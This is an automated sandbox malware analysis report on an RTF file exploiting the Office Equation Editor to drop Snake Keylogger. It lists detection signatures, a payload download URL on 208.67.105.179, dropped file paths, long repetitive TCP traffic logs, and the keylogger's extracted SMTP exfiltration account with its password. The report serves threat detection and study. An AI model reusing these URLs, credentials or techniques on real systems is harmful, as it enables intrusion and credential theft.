Windows Analysis Report
SecuriteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.rtf

Overview

General Information

Sample Name: SecuriteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.rtf
Analysis ID: 756118
MD5: f2de9aa2a7a3c9890d2f799adc95c35b
SHA1: 404dabf3e31da0bbf666df6397f803983961794f
SHA256: d04bf8b1677e02ada795c9a0e84abfca0ba2c1565736e9f34115783af32be764
Tags: rtf
Infos:

Detection

Snake Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected Snake Keylogger
Malicious sample detected (through community Yara rule)
Yara detected Telegram RAT
Yara detected AntiVM3
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal ftp login credentials
.NET source code references suspicious native API functions
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
May check the online IP address of the machine
Injects a PE file into a foreign processes
Yara detected Generic Downloader
Office equation editor drops PE file
Machine Learning detection for dropped file
Office equation editor establishes network connection
Tries to harvest and steal browser information (history, passwords, etc)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Yara detected Credential Stealer
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Downloads executable code via HTTP
Contains long sleeps (>= 3 min)
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.rtf ReversingLabs: Detection: 20%
Antivirus detection for URL or domain
Source: http://208.67.105.179/arinzezx.exej Avira URL Cloud: Label: malware
Source: http://208.67.105.179/arinzezx.exe Avira URL Cloud: Label: malware
Source: http://208.67.105.179/arinzezx.exemmC: Avira URL Cloud: Label: malware
Source: http://208.67.105.179/arinzezx.exeC: Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\arinzezx[1].exe ReversingLabs: Detection: 40%
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe ReversingLabs: Detection: 40%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\arinzezx[1].exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 6.0.rinzearec84736.exe.400000.0.unpack Avira: Label: TR/ATRAPS.Gen
Source: 6.0.rinzearec84736.exe.400000.0.unpack Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "arinzelog@saonline.xyz", "Password": "7213575aceACE@#$", "Host": "cp5ua.hyperhost.ua", "Port": "587"}

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\rinzearec84736.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\rinzearec84736.exe Jump to behavior
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 208.67.105.179 Port: 80 Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001C4FDFh 6_2_001C4CA8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001CDF89h 6_2_001CDCDC
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001CE3E1h 6_2_001CE129
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001C4029h 6_2_001C3D69
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001CE839h 6_2_001CE580
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001C543Fh 6_2_001C5181
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001C45EAh 6_2_001C41D8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001CEC91h 6_2_001CE9D9
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001C589Fh 6_2_001C55E1
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001CF0E9h 6_2_001CEE30
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001C5CFFh 6_2_001C5A40
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001CF541h 6_2_001CF288
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001C615Fh 6_2_001C5EA0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001CF999h 6_2_001CF6E0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001CFDF1h 6_2_001CFB38
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001C45EAh 6_2_001C4519
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 6_2_001C2D1A
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 001C3CA6h 6_2_001C35D0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 6_2_001C2EF9
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 6_2_001C26E8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00269AD1h 6_2_00269828
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 002618A9h 6_2_00261600
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 002632B9h 6_2_00263010
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00263711h 6_2_00263468
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00266F11h 6_2_00266C68
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 002602F1h 6_2_00260048
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 002684F1h 6_2_00268248
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00261D01h 6_2_00261A58
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00260749h 6_2_002604A0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00268949h 6_2_002686A0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00262159h 6_2_00261EB0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00269F29h 6_2_00269C80
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00267391h 6_2_002670E8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00260BA1h 6_2_002608F8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 0026A381h 6_2_0026A0D8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00268DCAh 6_2_00268B20
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 0026A7D9h 6_2_0026A530
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 002625B1h 6_2_00262308
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00262A09h 6_2_00262760
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00269221h 6_2_00268F78
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 002677E9h 6_2_00267540
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00260FF9h 6_2_00260D50
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00261451h 6_2_002611A8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00262E61h 6_2_00262BB8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 0026AC31h 6_2_0026A988
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00267C41h 6_2_00267998
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00268099h 6_2_00267DF0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then jmp 00269679h 6_2_002693D0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 6_2_00264EA8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 6_2_002651BE
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
